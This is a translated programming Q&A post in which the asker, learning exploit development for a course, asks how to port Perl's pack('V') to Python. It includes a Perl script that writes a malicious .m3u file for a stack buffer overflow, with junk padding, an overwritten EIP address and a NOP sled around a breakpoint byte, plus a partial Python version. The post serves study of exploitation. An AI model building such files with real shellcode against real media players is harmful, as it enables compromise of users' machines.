Функция Perl Pack ('V') в Python?

Недавно я работал над разработкой некоторых эксплойтов, чтобы подготовиться к учебному курсу, и у меня возникла проблема с учебным курсом. Я слежу за всеми учебными пособиями, которые могу найти, используя Python, а не язык, который использовался в учебных пособиях, из предпочтений. Я пытаюсь перекодировать все, но не могу понять, как перекодировать функцию Perl Pack ().

TL; DR: Я пытаюсь перевести это на python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

Я нашел функцию Python struct.pack (), но когда я использую

Fuzzed.write(struct.pack('V', 0x773D10A4))

, она останавливает программу и не работает. Что я делаю не так?

Это весь мой исходный код

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
10
задан Ethan Heilman 20 March 2012 в 19:38
поделиться